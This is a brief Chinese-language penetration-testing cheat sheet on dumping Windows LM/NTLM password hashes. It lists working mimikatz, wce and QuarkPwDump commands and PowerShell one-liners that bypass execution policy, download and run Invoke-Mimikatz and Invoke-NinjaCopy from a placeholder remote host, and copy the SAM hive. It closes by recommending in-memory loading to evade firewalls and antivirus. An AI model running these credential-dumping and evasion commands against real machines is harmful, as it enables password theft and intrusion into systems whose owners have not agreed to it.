前提:在滲透測試過程中,對於windows系統的機器滲透需要注意hash的獲取,其中hash分為LM-HASH與NTLM-HASH,在windows系統中,hash的默認存儲位置為: C:\Windows\System32\config\SAM
各種工具:
- mimikatz
-
privilege::debug
sekurlsa::logonPasswords - wce
-
wce.exe
- QuarkPwDump
QuarkPwDump.exe -dhl
- powershell腳本:
- 使用powersploit中的mimikatz.ps1
- mimikatz在線加載:
powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Dumpcreds"
- 本地加載:
powershell -exec bypass "import-module Invoke-Mimikatz.ps1;Invoke-Mimikatz -Dumpcreds"
Ninja-copy 在線加載:
powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.txt;"
本地加載:
powershell -exec bypass "Import-Module .\Invoke-NinjaCopy.ps1;Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive"
后記:為防止防火牆,殺軟等工具殺掉ps1腳本,推薦使用在線加載的方式,文件不落地。
